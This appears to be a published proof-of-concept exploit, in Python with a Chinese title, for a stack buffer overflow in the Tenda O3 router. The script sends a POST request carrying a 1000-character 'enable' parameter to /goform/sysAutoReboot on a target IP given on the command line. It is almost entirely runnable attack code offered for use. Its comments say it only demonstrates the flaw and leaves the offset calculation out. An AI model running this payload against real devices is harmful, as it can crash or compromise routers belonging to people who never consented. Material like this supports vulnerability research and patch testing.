CVE-2025-12214 Tenda O3 路由器 sysAutoReboot 栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-12214 PoC - Tenda O3 sysAutoReboot Buffer Overflow # Target: Tenda O3 1.0.0.10(2478) # Type: Stack-based Buffer Overflow # CVSS: 8.8 (High) import requests import sys def exploit_tenda_o3(target_ip, target_port=80): """ Exploit for CVE-2025-12214 Stack-based buffer overflow in /goform/sysAutoReboot SetValue/GetValue """ url = f"http://{target_ip}:{target_port}/goform/sysAutoReboot" # Create payload with oversized 'enable' parameter # The actual exploitation requires specific offset calculation # This PoC demonstrates the vulnerability with a large input payload = { 'enable': 'A' * 1000, # Overflow payload 'form': 'sysAutoReboot' } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {len(payload['enable'])}") # Send POST request response = requests.post(url, data=payload, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_o3(target, port)